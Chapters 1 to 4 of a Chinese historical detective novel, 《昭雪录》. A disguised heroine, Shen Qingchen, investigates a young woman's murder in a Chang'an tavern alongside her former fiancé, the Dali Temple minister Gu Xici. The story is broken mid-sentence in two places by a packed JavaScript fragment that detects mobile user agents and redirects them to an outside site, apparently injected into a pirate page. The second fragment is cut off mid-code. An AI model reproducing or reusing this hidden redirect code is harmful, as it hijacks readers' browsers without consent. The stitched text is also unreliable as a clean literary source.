《昭雪录(探案)》 1. 机会 景隆二十一年冬月十五。 深冬萧瑟,寒气逼人,纷纷扬扬的碎雪粒子自阴沉的天空飘扬而下,染白繁华依旧的长安城。 长安有楼名醉仙居,有六层之高,飞檐翘角,雕梁画栋,门口两座石麒麟威武霸气,俨然已成醉仙居标志之一。 楼内更是人头攒动间饭香四溢,好不气派热闹。 一楼大堂极为阔达,中间靠外处与左右两侧则摆满桌椅,靠里则是供戏子、乐人用以表演的演台,演台两侧则是通往二楼的旋转式楼梯。 二楼、三楼则是供客人用餐的雅间。 跑堂端着满是菜品的朱红色漆木托盘,一路迅速又稳当的跑上三楼。 听水轩内。 沈卿尘凭窗而立,寒风裹挟着刺骨的雪粒子扑在她白皙的面庞上,微红的脸颊越发显得肌肤赛雪,吹弹可破。 “姑娘可要仔细些身子,如今天冷,这长安更是冰窖似的,这般吹风当心染了风寒。” 长夏将白狐裘斗篷披在她肩头,仔细为她拉紧衣领,小声叮嘱。 沈卿尘转头看她,水波潋滟的双眸眼尾微微上翘,红唇轻启,清凌凌的声音自唇间溢出:“无妨,如今我已不似从前那般娇弱。” “是是是,姑娘如今文武双全,可厉害着呢!”长夏抿唇,笑着打趣。 砰砰! 陡然响起的敲门声,令长夏的神色骤然警觉。 沈卿尘垂眸看她,声音平和:“不必紧张,如今我们改名换姓,必不可自乱阵脚。” “是。”长夏微微颔首,吐出刚才陡然提起的一口气,便听到外面传来店小二带着浓浓笑意的声音。 “客官,您的饭菜来了。” “进来。”长夏转身回到桌边。 沈卿尘又转头看一眼窗外,随即关上窗户,将寒风一并关在外面,拢了拢肩上斗篷回到桌前坐下。 小二满脸堆笑的进门,将三菜一汤在圆桌上摆好,躬身退下时笑呵呵道:“两位客官请慢用,若有吩咐随时可唤小人。” 眼瞧着小二关了门出去,四下安静下来,长夏压低声音问:“眼下已到了这长安,姑娘可有下一步计划?” 沈卿尘放下筷子,眼睫微垂:“时隔八年,如今再回这里,已是物是人非,往日的那些故友,我尚且不清楚究竟有谁牵扯其中,需小心仔细查探,当年的谋逆案闹的沸沸扬扬,亦是牵连甚广,想要查需得从大理寺入手,是以,我需要进大理寺。” “可大理寺向来都是男人的天地,便是衙役也从不招女子,姑娘要如何进?”长夏满脸忧色,越发觉得这件事做起来实在不容易。 沈卿尘摇头,复又拿起筷子:“衙役无权,且行动受限,不是首选。此事还需从长计议,若没有机会,我们便制造机会。先用饭吧。” 长睫掩映下,沈卿尘双眸里尽是冷锐之色。 八年前,父亲兄长被斩于西市闹市口那日,也如今日这般大雪纷飞,她与母亲及国公府所有女眷,如牲畜般被赶至闹市口观看斩刑。 父亲与兄长在她眼前被斩断头颅,她的眼前一片血红,鲜血漫天飞溅,如妖冶的曼珠沙华在雪地上片片盛开,一直开到她心头。 且久开不败。 她闭上眼睛,再睁开时,眼前的血色慢慢褪去,待视线清明,依旧是色香味俱全的三菜一汤,复又拿起筷子,夹起片莹白的藕片。 这个时节还有藕片,实属不易。 长夏不知沈卿尘心中所想,只兀自想着姑娘所说的“制造机会”要如何制造,筷子不由放慢了许多。 正待她要询问时,忽听隔壁传来碗碟的碎裂声,似乎还夹着争吵。 只因这酒楼的隔音还算好,听的并不真切。 两人只望了一眼墙壁并未放在心上,也未被先前的谈话影响食欲,一顿饭很快结束,唤来小二收走餐盘换上茶水点心。 长夏犹豫许久,终究还是没忍住好奇的询问:“姑娘,您要如何制造机会?” 沈卿尘正欲开口,忽听外面廊道上传来惊恐尖叫和哗啦的杯盘碎裂之声。 二人同时起身走向门口,长夏一把打开门,便瞧见方才那小二跌坐在地,满脸惊恐地望向隔壁雅间,抬起的右手颤抖指向屋内。 长夏蹙眉走出去询问:“发生何事?” “死、死人,死人了。” 长夏眉心一跳,眼底随即漫上喜悦,转身看向站在身侧的沈卿尘:“姑娘……” 沈卿尘并未言语,出了门便瞧见廊道两侧看热闹的人越聚越多,下意识忧心现场被破坏,便低头看向面无人色的店小二:“可有去府衙报案?” 此话一出,店小二方从惊吓中回过神,立刻手脚酸软连滚带爬的往外跑:“是是是,我这就去报案。” 楼下掌柜听闻声音,艰难挪动肥胖的身躯,从人群中挤过来,看到屋内尸体时“嗷”的一声,双眼翻白,身体直直向后倒去,幸而被紧跟其后的另一名小二搀扶。 沈卿尘转头看一眼长夏,虽未言语,但长夏已然明白,立刻自右侧楼梯下楼。 此时,事情尚未传开,楼上与楼下的客人还不知发生了何事。 一楼大堂戏台上的戏子依然咿咿呀呀唱戏,客人依旧听的入神,只寥寥几个客人好奇地朝楼上张望。 沈卿尘走向隔壁雅间门口,站在门外朝内看。 却见一名女子头朝外侧,仰面躺在屋内圆桌上,因头吊在圆桌外,一双死不瞑目的眼睛便直直瞪向门口,满目怨气与不甘,乍一看甚是骇人。 不少聚在门口看热闹的人见此情景,纷纷吓的尖叫躲避,门外乱做一团。 沈卿尘深吸口气,微微偏头看向圆桌内侧。 女子双足悬于半空,并未穿鞋袜,白皙纤细的小腿露在外面,殷红的血自她脚底一滴滴落于地面,汇聚一滩血液,浓郁的血腥味弥漫。 沈卿尘干脆从外面将敞开的门关上,转身对兀自站在廊道里拍着胸口大喘气的掌柜道:“出了命案,掌柜的是否该命人将此处看管,以免被破坏?” 掌柜尚未回过神,听闻此话又是愣了好一会儿,对上沈卿尘沉静的眸子方才反应过来:“对对,姑娘说的对。” “杀人了,杀人了。” 正在此时,不知何人突然高声大喊,原本只是三楼稍显凌乱,此一喊,满堂震惊,楼下大堂的戏子立刻停了唱戏,纷纷仰头四顾,大堂内忽然便如洪水爆发。 有好奇者争前恐后往楼上跑着观看,也有惊恐怕死者慌乱往楼下逃窜,更多者则是朝着门外拥挤…… 整个酒楼一片混乱。 沈卿尘眉头紧拧,凑到栏杆边朝楼下门口张望,只见长夏带着醉仙楼一众打手守在门口,阻止想要离开的客人,但客人众多,撕扯推搡之间,眼瞧着就要被掀翻在地。 长夏会武,沈卿尘倒是不担心她的安危,只环顾周围寻找可疑之人。 方才她与长夏用餐时曾听到隔壁传来杯盏碎裂和争吵的声音,自那时到此刻约有两刻钟,若死者是那时被杀,凶手也许还未离开。 正在这时,有人高声喊大理寺来人了,骚乱的人群立时便安静下来,但也只是一瞬,纷乱嘈杂的吵闹声再次响起。 长夏趁机悄然返回楼上,满脸兴奋的红晕:“姑娘,如今这机会送到我们面前,可当真是太好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457449|169580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “且等等看。”沈卿尘轻轻点头,目光紧盯酒楼门口。 门外,一队身着大理寺公服,腰悬佩刀的差役鱼贯而入,个个面冷如寒冰,一言不发却又整齐有序的分列两队将混乱宾客分至两侧,中间隔开一条宽可同时同行两人的道来。 身着玄色镶银边绣麒麟纹武装的顾西辞缓步踏入大堂。 一时之间,大堂内寂静无声,针落可闻,一个个宾客皆面露惧色的看着这位浑身散发肃杀之气,面容却俊美如谪仙般的大理寺卿。 这位大理寺卿狠厉、果决、六亲不认的名声早已远扬,纵使远在北地的沈卿尘也略有耳闻。 只是她万万没想到,这位大理寺卿,竟是她青梅竹马的未婚夫顾西辞,表字怀远。 亦是她回长安的目标之一。 沈卿尘的呼吸忽而变得急促,扶着栏杆的手指蓦然收紧。 时隔八年,顾西辞早已褪去儿时的稚嫩,但他深邃的五官依旧是熟悉模样。 而她以后极大可能要在他手下做事。 如此一来,暴露身份的风险便大大增加。 思绪翻涌间,沈卿尘眼底燃烧的怒火几乎压制不住,握着栏杆的手不由越发用力,朱红栏杆在她手下咯吱作响。 “姑娘。”长夏的声音适时在耳边响起,按住她用力到发白的手指,悄声道,“姑娘,您万不可如此动怒,当心内息紊乱,再走火入魔便不好了。” 一口气陡然松开,僵硬的身子便有些发软了。 闭了闭眼睛,沈卿尘努力稳住心神。 不过片刻间,一袭黑衣的顾西辞已在掌柜的带领下,朝着楼上而来。 原本安静下来的大堂又此起彼伏的响起议论之声,只因这位骇人的杀神在此,不敢高声。 见顾西辞走近,沈卿尘强压下心中翻涌的仇恨,后退几步避让在一侧。 “大人,人就死在这知秋阁内。”掌柜满面惊恐,躬身在前指引。 顾西辞兀自推开知秋阁屋门,迎面便是血腥味夹着一股苦涩的气味扑来。 此时已过午时,偏西的日光自后窗斜落于地面,一缕阳光恰好落在死者白嫩的足尖,顾西辞面沉如水,绕到死者身前,只一眼便避开目光,忽的扯下身上披风盖在死者身上,随即不动声色环顾四周。 沈卿尘瞳孔一阵紧缩,唇角紧抿。 “仵作何时到?”顾西辞沉声问。 话音才落,他忽的弯腰看向右侧墙边放置的矮柜下,随即单膝跪下,从柜底摸出一样东西。 “回大人,应公子正在快马赶来。” 闻言,顾西辞眉心轻皱,似有不悦,但也只是转瞬即逝,捏着手中之物走出门来。 “这可是你这屋中之物?”他将手中之物拿给掌柜看。 从沈卿尘的角度恰好可以看到此物,那是一块碎瓷片,她转头看一眼屋内,并未见有任何碎裂之物,一时倒也认不出是何物的碎片。 掌柜接过碎瓷片看了许久后,不是很确定的摇头:“看花纹似不是我们酒楼中的,但此物太小,小人也不能完全确定。” 顾西辞扫视周围,被他目光触碰到的人皆是下意识后退或避开,无一敢与他对视,待他目光自沈卿尘身上扫过后,忽又转了回来,四目相对。 但也只是一瞬,他再次移开目光,看向左右两侧雅间询问掌柜:“事发之时,这左右两侧雅间可有客人?” “有的。”掌柜连忙作答,“今日生意好,二楼三楼雅间皆是满客。” 说着话,他满是精光的一对肿泡眼扫向周围,最后落在沈卿尘身上,“这位客人便是在左侧雅间听雨轩用饭的。” 2. 神眼判官 沈卿尘藏在袖中的手指用力捏了捏,抬眸迎上顾西辞略带审视的目光。 离得近了,顾西辞身上的肃杀之气更显凌然。 如今的他身量挺拔,宽肩窄腰,高挺的眉骨和鼻梁使得他的五官深邃立体,花瓣形的嘴唇线条丰润,下颌骨线条硬朗,俊朗英气。 沈卿尘垂下眼眸,微微屈膝行礼:“见过大人。” 顾西辞微微抬手示意,语气冷硬:“不必多礼,事发之时,你可有听到什么声响?” 沈卿尘点头:“有,两刻钟前,我与婢女曾听到隔壁传来瓷器碎裂声和争吵声,但并未听清争吵内容,也未听出争吵人是男是女,大约一盏茶后,我又听到一女子哭泣的声音。” 见她条理清晰,顾西辞再次将目光落在她身上,不免好奇的问:“姑娘为何记得如此清楚,连时间都这般精准?” “我们姑娘可是神眼判官,以前也是时常帮衙门破一些难案疑案,习惯成自然,对时辰的把握自然就精准了。”长夏颇为骄傲的在旁边答道。 沈卿尘自是知道长夏在帮她争取机会,便没有阻止。 “神眼判官?” “竟是神眼判官?” “早些日子前,我就听说神眼判官来了长安,没成想竟是真的。” “哎呀,神眼判官竟是女子?” “有了这神眼判官,我们长安岂不是再不会出冤案错案了?” “可不是,听闻这些年,她常年在各州县行走,帮忙破了不少悬案,便是连有些陈年积案都给破了,这才得了个神眼判官的好名。” 周围人顿时对她露出钦佩与赞赏的神情,皆是期待她能破了这件手段残忍的凶案。 原以为顾西辞会顺着问下去,却不想他竟是转身看向另一侧雅间。 长夏蹙眉凑近沈卿尘,小声问道:“姑娘,按照常理,他应该会继续问下去的,他为何不问了?” 沈卿尘摇头,如今时过境迁,昔日的人也早已不是往日熟悉的模样,她自是摸不准他如今性情究竟如何,若如外界传言的那样阴晴不定难以捉摸,只怕她没有那般容易能进大理寺。 周围人多口杂,两人并未过多讨论,抬眸时却见顾西辞正与几名锦衣玉带的公子哥说话,看他们表情熟稔的样子,该是认识的。 不过…… 沈卿尘一一望过去,却并未有熟识的人,也不知是时隔太久他们的容貌有了变化,还是自己原先就是不认得的。 “我们在此等你,可你迟迟未到,我们便先玩起了行酒令,吵吵嚷嚷的,倒真没听到隔壁有何动静。”一个肤色白皙,眉眼清秀的瘦弱高挑少年摇头说道。 顾西辞将目光转向其余几人:“你们也是一样?” 剩下四五人亦是茫然摇头,沈卿尘注意到,其中有三人面色红润,眼神迷离,显然已是喝多了酒。 顾西辞转身回来,低声吩咐身边差役分批问询楼内客人,看是否有人注意到此雅间内客人动向。 待吩咐完后,他再次走向沈卿尘,深沉如冰的目光直直落在她脸上:“敢问姑娘芳名?” “沈卿尘。”她清凌凌的目光直直望向他,毫无畏惧,反倒满是好奇。 顾西辞目光中带了些探寻,但也只是一瞬便消失无踪,只平静看着她礼貌询问:“除方才姑娘所说的碎裂声和哭声外,姑娘可还曾听到别的声音?” 沈卿尘摇头,往前两步看向知秋阁内:“我虽未看过尸体,但从现场来看,该是他杀,那么,她的死亡方式是什么?” “既然姑娘所知不多,那便去隔壁等着问询吧!”说完,顾西辞便不再理会她,转身又进了知秋阁。 沈卿尘与长夏回去听雨轩,在桌边坐下后,长夏压低声音道:“姑娘,这案子正是送上门的机会,姑娘可有看出什么?” “该是熟人作案。” “如何确定?” “方才我看过屋内,干净整洁,没有打斗痕迹,我们曾听到碗碟碎裂声,却并未看到明显的碎片,只顾西辞在矮柜下寻到一块碎片,如此可见,凶手杀人后做过清理,且那碎裂的东西十分重要,定然是可以证明凶手身份的东西,否则凶手不会冒险带走。” “这样说来,岂不是很快便能抓到凶手?”长夏极为敬佩的看着沈卿尘。 沈卿尘却是摇头,微垂下眼睫道:“此案至少表面看来并不复杂,但我需看过尸体和现场才能确定。这对我们来说是个极好的机会,不能错过。” “可那顾西辞一看便是个无情的,奴婢方才已明确您是个探案高手,他却全然装作没听到,当真是半分机会也不给。”长夏不满的嘟起嘴巴。 长夏不懂,但沈卿尘却十分清楚,顾西辞不给她机会并非只因为无情,而是因为不需要,他打小便十分聪颖,开慧早,习武亦早,她能看出来的线索,他定然也能看出来。 所以,想要顾西辞同意她进入大理寺,必然要展现出他所没有的能力。 可如今,她连接近尸体的机会都没有,如何才能获得更多线索? 沈卿尘仔细回忆方才看到的死者面容,在已经模糊的记忆里搜寻相似的面容,遗憾的是,记忆里并没有这张脸。 长夏双手捧着脸苦思,可她于探案方面并无天赋,多数时候只能跟着苦恼,并不能帮上什么忙。 “走,我们出去瞧瞧。”沈卿尘起身往外走,长夏立刻跟上。 不得不说,顾西辞的办事效率当真是高的令人惊讶,不过短短一会儿功夫,楼下混乱的人群已被安抚,且有条不紊的分派人手在各处进行询问,无关人员则被安排离开。 此时,楼下大堂剩余的宾客已不多。 知秋阁门前,顾西辞正询问发现尸体的小二,那小二依旧惊魂未定,脸色发白。 “小人是刚给隔壁两位客人送过茶点后出来,想起知秋阁的客人自到店后还未点菜,便想着问问,小人敲门许久未有回应,便想着推开门看看,谁知竟是死了人。” 顾西辞继续询问道:“这位姑娘是何时过来用饭的?来时可有同行的同伴?” “是午时初刻来的,来时身边带了名婢女,那婢女在酒楼门口就被这位姑娘打发走了,并未跟进来。” 听到此处,沈卿尘忍不住开口道:“是以,她定是有极为隐秘的事要做,隐秘到连身边婢女也不能知晓。” 顾西辞转头看她一眼,眼底似有不满,倒也未开口阻止。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457450|169580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这、这小人就不知道了,这位客人来时戴了帷帽的,小人并不知晓客人身份。”店小二满脸苦相,这会儿还忘不了乍一看见那张死人脸时的恐惧,今晚怕是要做噩梦。 一边的掌柜亦是满心满脸发苦,自个儿这酒楼在此开了几十年,这当真是头一次出了命案,若是查不出凶手来,只怕这酒楼要关门大吉。 他抹了一把汗津津的肉脸,忽然抬头,眼睛发亮:“小人记起来了,这位客人三天前订了这雅间,当时小人还问了几位客人,她只说是一位。” 沈卿尘转头看顾西辞,恰巧他的目光也看过来,两人的目光短暂相撞后旋即分开,虽只一瞬,却也看明白对方眼中之意。 死者不仅自己不愿意暴露人前,便是连要见的人也须得避人耳目。 沈卿尘继续问道:“那日订雅间的客人可与今日的客人是同一人?” “应该是同一人吧。”掌柜的眉头紧皱,眼睛看向左上方,随即又十分苦恼的搓了搓手,“姑娘这么一问,小人也不确定是不是同一人了,那日这位客人也是穿着这样的衣饰与帷帽。” 沈卿尘微垂下眼睫。 身着同样衣饰与帷帽,自然会被认作同一人,但若真是同一人,她完全不必在订房日与今日穿同样的衣饰,这样做反倒是欲盖弥彰,显得别有用心了。 “如此便说明,订房那人与死者并非同一人。”沉默了半响的顾西辞忽然开口。 “啊!”掌柜的满脸疑惑,“这、这……” “嗯。”沈卿尘点头同意,“也可能订房的人便是与死者今日见面的人,二人分头行事,便可掩人耳目,找到那订房之人便是关键。” 可茫茫人海,寻一未知身份之人便如大海捞针。 顾西辞面色冷沉,语调亦是又冷又硬的开口:“她的婢女还未寻到?” 站在他身后右侧的差役立刻回答:“是,我们的人已经去寻了,还未回来。” 此时,知秋阁的门忽然打开,从内走出一名身着月牙白衣袍,面目俊朗竟不输顾西辞的少年,他边擦拭胸前衣襟上沾染的血迹,边说道:“死者死于窒息,我在她口鼻内发现絮状物,该是凶手用布之类的捂住死者口鼻造成窒息。” 沈卿尘没有看见尸体,此时不免疑惑的问:“既是窒息而亡,为何会有那么多血?她身上可有伤?” 那少年此时方才抬起头,看见眼前的人不由目光一亮,笑着说:“并没有任何伤痕,有血是因为死者在死前小产,但现场并没有看到产下的胎儿。” 此话一出,在场众人皆是面面相觑。 “死者身份可确定了?”这话是沈卿尘问顾西辞的。 顾西辞看向她,目光冷如寒刃:“你既是神眼判官,何不自己去查?” 面前人的冷漠与疏离让沈卿尘无法与记忆里那个永远有着温暖笑容的小小少年对上,她舒口气,转身面向他,挑衅的目光里含着笑:“若我能帮大人破了这案件,大人可否允我一个要求?” “不需要!”顾西辞拒绝的毫不留情。 “既然这样……”沈卿尘狡黠一笑,“那我便与大人同查此案,若我能先一步查明案件,大人可否允我一个要求?” 3. 伤风败俗 顾西辞蹙眉,面上的不悦越发明显,周围气氛亦是冷沉沉的,众人皆是为这胆大的姑娘捏了一把汗,而边上站着的差役更是偷偷向她打手势,示意她万不能惹怒顾西辞。 沈卿尘却当没看见,亦是丝毫不给他拒绝的机会,语调明快道:“大人不回答,我便当大人答应了。” 说完,她便从那应姓少年人身边挤过去进入知秋阁。 顾西辞脸色黑沉,强大的气场压的周人愈发不敢说话,唯有那应姓少年丝毫不怕,只兀自“嘿”了一声,兴趣盎然的紧跟着沈卿尘身后进去。 知秋阁的布局摆设与听雨轩一样,唯一的不同便是将夏日改为秋日,房内布置以秋为主题,墙上所挂画幅与所提诗词皆是与秋有关。 便是连东面墙边一架多宝阁上摆放的瓷器古玩也俱富有秋意。 一圈走下来,沈卿尘注意到屋内干净整洁,除开没有任何打斗痕迹外,便是连碗碟摔碎的痕迹也半分没有。 可见,凶手离开前曾做过清理。 但是,碎裂的瓷片可以带走,打斗亦或者挣扎的痕迹却是很难尽数抹除,无论是死者生前曾小产过,亦或是被凶手闷死时都该有挣扎或者反抗。 不仅房间内没有,便是隔壁的她们也未曾听到。 沈卿尘忽然转头看向站在尸体前似在思考的少年问:“这位公子,请问死者的死亡时间是什么时辰?” “如今正值冬季,虽屋内不冷,但人死后尸体温度依旧会很快下降,但我方才验尸之时,尸体尚有余温,死亡时间不会超过一个时辰,也就是巳时正到午时正之间。” 这话却是让沈卿尘蹙起眉头:“不对。” “不对?”那少年转头看向她,“姑娘是说我验尸的结果不对,莫非姑娘也懂验尸?” 沈卿尘此时才抬头道:“不是,我不是说死亡时间不对,而是……我听到的声音不对。” 那少年亦是茫然。 边上的长夏也是一脸疑惑道:“姑娘说的可是碗碟碎裂的声音?若奴婢没记错,我们听到的声音是在午时前后,若那时人已经死了,岂不是说,碗碟是凶手摔碎的?可……这是为什么呀?” 沈卿尘依旧摇头,这时,方才站在门外的顾西辞也走了进来,只安静看着沈卿尘不语。 “不只是碗碟碎裂的声音,还有那哭声。”沈卿尘低头看着地面,“哭声与碎裂声前后不过半刻钟,若那时死者已死,哭声便是凶手发出的。” “啊!”长夏惊喜道,“这岂不是说,凶手是名女子?” “哼!”听闻此话,站在门口的顾西辞忽然冷哼一声,转身便走。 长夏怒瞪顾西辞离开的背景,不满道:“他什么意思?奴婢说的不对吗?” 沈卿尘看着她说:“案件尚不明了,不能仅凭一点哭声便断定凶手性别,如此过早下结论,会先入为主的影响判断。” “你家姑娘说的对。”那少年笑眯眯地点头赞同,“凶手在行凶前先给死者喝了落子汤,致使她流产,既然都已经要杀她了,又何必给她喝落子汤?” 沈卿尘并未接话,走到尸体前掀开披风…… 死者躺在圆桌上,因桌面不够大,尸体的头与小腿垂下桌面,衣裙被掀开至腰上,□□血迹斑斑,大腿内侧亦是沾满鲜血。 “好残忍。”长夏满脸不忍的感叹。 重新将披风盖上,沈卿尘转至左侧边,弯腰检查尸体上半身,并未发现任何伤痕,衣衫也没有任何凌乱。 “死者身份可有确定?”沈卿尘问了一句。 “是都水监都水长次女徐雨彤。”那锦衣公子摸了摸鼻头,“说起来,她的家人怎这般久还未到?” 话音才落,便听外面一阵纷乱,更有哭嚎声夹杂其中。 沈卿尘微微挑眉:“这不来了。” 一阵沉重的脚步声过后,叶氏面色沉痛,双腿发软的在两名婢女的搀扶下跌跌撞撞闯入门内。 沈卿尘与那少年立刻后退几步让开,便听那妇人“嗷”一声扑向尸体,直撞的圆桌向内移了半尺,氍毹向上凸起。 “我的女儿,我可怜的孩子,是哪个天杀的害死了我的女儿?”叶氏趴在徐雨彤身上哭的上气不接下气,却也不忘诅咒凶手该千刀万剐。 沈卿尘面上无甚表情,心中却是沉痛,只得移开目光继续在屋内寻找线索。 这件案子表面看来实在简单,只是她心中始终觉得怪异的很,喝下落子汤打掉胎儿是极为痛苦的,若非心甘情愿,必定是要强迫的,那样就定然会发出不小的动静。 可她与长夏就在隔壁,却并未听到太大动静,凶手又是用了什么法子能让死者喝下,且还能令她不挣扎,不发声? 若死者是自愿的,她又为何要选在醉仙居这样人来人往,耳目众多的地方? 沈卿尘站在墙边的多宝阁前,目光在其上摆放的器物上一一扫过,最后落在放在最底下一层较高格子里放置的一盆梅花上。 这梅花是最极常见的品种,此时开的正盛,有极淡的梅花香幽幽飘来。 沈卿尘的目光只停留片刻便转开,身后叶氏的哭声断断续续传来,比之方才倒是平静些许,她正欲去询问情况,脚步却猝然一顿。 梅花? 她猛然转身看向那盆梅花,随即立刻朝站在门口的掌柜问道:“掌柜的,这间雅间名为知秋阁,屋内摆设皆以秋为主题,缘何要在此处放置梅花?” 闻言,掌柜的也先是一愣,随即快步走来,在看到那盆梅花时也是面露疑惑:“这二楼的四间雅间是以春夏秋冬命名,屋内布置自然也是以四季特点为主题,这里原来放置的并非梅花,而是蝴蝶兰,怎会变成梅花呢?” 沈卿尘点点头道:“平日里这间雅间是由谁负责清扫的,可否请人来问话?” “可以的,只是……这会儿那位大人正在询问,姑娘怕是要等一等。”掌柜搓着手,笑容有些尴尬,方才这位姑娘和那位顾大人的对话他也是听到了的,两位的对赌他不敢多问,但无论是哪位先查出凶手,于他而言自然都是极好的。 这时,那位最先发现尸体的小二躬身从外面钻了进来:“姑娘,负责清扫这房间的是小人的娘,她年纪大,耳朵聋,小人名叫六子,您要问什么问小人也是可以的。” 沈卿尘看一眼外面廊道,点头道:“也好,那你可知这里原本的蝴蝶兰为何要换成梅花?” 六子歪着身体看一眼梅花,眉头微皱但很快又舒展开:“这原本不该放梅花的,想来该是小人的娘眼神不好,拿错了花,原本该是放的蝴蝶兰。” 沈卿尘点点头,如此说来倒也是巧合了,不过她仍旧多了问了句:“那雅间内的植物花卉原是多久需更换一次的?” 这里既是出了命案,任何一点蛛丝马迹都可能成为破案的关键,万不能疏忽。 “只要育养得当,一般是不需要更换的,只有在出现枯枝败叶之时才会更换。”见沈卿尘清冽的目光仍旧望着他,六子有些不好意思的挠挠头。 “那你娘在今晨换了那盆花便是因为出现枯枝败叶?” 六子摇头:“不是枯枝败叶,而是整盆花都死了,小人的娘昨日夜里回家念叨说,好好一盆花,不知为何突然枯死了,她傍晚时候去看时还好好的,晚上临近关门却发现花死了,今晨便换了一盆新的,约是早上光线昏暗,错拿成了梅花。” 沈卿尘转身面向掌柜:“掌柜的,昨日在这雅间用餐的客人可有记录?” “没有的,平日里往来客人众多,也不好一个个询问客人身份,只有订房的客人才会询问,不过,昨日中午用了此雅间的客人也是熟人,正是这都水长家千金。” “昨日也是她过来的?”长夏诧异的问。 掌柜立刻摇头:“不是她,是另一位千金,她是和同伴一起来的,昨日有一场《青梅戏》,那位姑娘十分爱看,每每开场总是要来的。” 沈卿尘点点头,随即看向六子:“今晨换下来的那盆蝴蝶兰在何处,可否带我去看看?” 六子转头看掌柜,得到允许后方才开口:“请随我来。” 外面廊道里,顾西辞正带人寻问人证,沈卿尘见他面色沉郁,不像是有收获的样子,听闻脚步声,他转过头来,恰好与沈卿尘目光对上。 六子急于表现,见顾西辞看过来,连忙讨好的上前恭敬道:“大人,小人要带这位姑娘去看那蝴蝶兰,您是否要一道去?” 顾西辞扫一眼沈卿尘,沉声道:“此处事多,何不将那蝴蝶兰搬来?” 六子一愣,显然没料到他会这般说,便是沈卿尘也从他方才扫自己那一眼中看出他的嘲弄之意,但却并未与他计较:“既然顾大人这般说了,那便劳烦你跑一趟。” “是,小人这就去。”六子是个跑堂,腿脚快,一 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“问吧。”叶氏深吸口气,努力压下翻涌的悲伤,这不过才一会儿,她的鬓角竟是多了几根白发。 人生最大的悲哀莫过于白发人送黑发人。 沈卿尘往前两步,压低声音询问:“夫人可知徐姑娘生前已怀有身孕之事?” 叶氏愕然瞪大双眼,满眼不可置信:“身孕?这、这绝无可能,彤儿虽已及笄,却还未曾说亲,又、又怎么会……” “徐姑娘的确怀有身孕,且死前曾喝下落子汤,如今腹中胎儿已不见,可能是被凶手带走了,所以我怀疑这是情杀,若想查出凶手,还需夫人想一想徐姑娘是否有情郎。” “不,这不可能,彤儿她一向安分守己,平日里连大门都鲜少出,又、又怎会有情郎?错了,一定是搞错了。”叶氏满目慌乱,断然无法相信自己的女儿会做出这般伤风败俗的事来,她那么乖巧懂事,定然是有人污蔑于她。 沈卿尘还未开口,叶氏忽然一步上前,大力抓住她的肩膀,目龇俱裂,咬牙切齿道:“是你,一定是你污蔑我的彤儿,她……她那么听话,断然不会做出这种事来,你是谁,为何要这般污蔑我的彤儿,她已经死了,你竟还如此狠心毁她名声,你到底是谁?” 沈卿尘肩膀微微一动,利用巧劲轻松从她手中挣脱,随即后退一步与她拉开距离,叶氏也因这股力站立不稳的向后踉跄两步,被身后的嬷嬷扶着才堪堪站稳。 “夫人慎言,我与徐姑娘无冤无仇,不过是据实相告,何来污蔑一说?”沈卿尘早已不是当初那个无忧无虑不知世间险恶的单纯姑娘了,她此次回来不愿与不相干人为敌,但也不会任由人拿捏。 “你……” “她说的不错。” 叶氏的话被身后冷厉的声音打断,沈卿尘一转头便瞧见顾西辞不知何时走了过来,而廊道上除了叶氏主仆三人和他们二人之外,已无旁人。 便是连那应小公子也不见了踪影,沈卿尘完全没注意到他是何时离开的。 “顾……顾大人。” 叶氏面露惶恐之色,便是她这个身居后宅的妇人也是听过这个顾西辞的威名,知他律法严明到六亲不认,可他原不是这样的孩子,自从八年前那件事后,他整个人都变了。 “徐姑娘生前的确怀有身孕,夫人切要仔细想想这些时日,徐姑娘可有何异常之处。” 叶氏面色苍白扭曲,嘴角微微抽动,她自认为一直都是个合格的母亲,自小对孩子的管教都极为严苛,即便她非正室,儿女亦非嫡系,但教养上都是按照嫡系的规矩来的,十几年来不敢有半分疏漏。 可如今,女儿不仅死于非命,还做出这般伤风败俗的丑事来,她这个做母亲的竟是半点也不知。 事关女儿清白,即便心中再不愿承认,这会儿也不得不强迫自己面对,叶氏微微摇头后看向身边嬷嬷:“你可注意到彤儿有何异常?” 王嬷嬷想了会儿道:“二姑娘自小性子静,不喜外出,别的奴婢倒是没注意到什么,只近半个月以来,时常见她与大姑娘一同出去,她与大姑娘打小感情就好,一起出去也没什么。” 顿了顿,王嬷嬷抬头看向沈卿尘与顾西辞:“说起来,二姑娘与大姑娘感情好,若当真有什么心事,她该是更愿意与大姑娘说的。” 4. 斩立决 说起此事,叶氏的面色便越发悲伤,大约是因为她平日里教养严格,致使女儿与她并不十分亲近,更别提与她说贴心话了。 沈卿尘道:“二姑娘今日出门前可与家里人有交代?” 王嬷嬷抹一把眼泪道:“说了的,姑娘平日里爱吃桃源居的桃花糕,眼下已是入了冬,桃花难得,每日的桃花糕也是限量的,姑娘说想亲自去买,夫人也就应了,只没想到这一去竟是……竟是再也回不来了。” 这话却是让沈卿尘蹙眉,这桃源居的桃花糕她自小也是十分爱吃的,每年冬日也的确限量,但正因为是限量才要早早去排队,晚一点就会买不到,徐雨彤既是爱吃自然也是知道的,为何还要近午时才去? 这么明显的谎言,她们竟是没发觉? 沈卿尘刚要询问,顾西辞却是先一步开口:“她是何时出的门?” 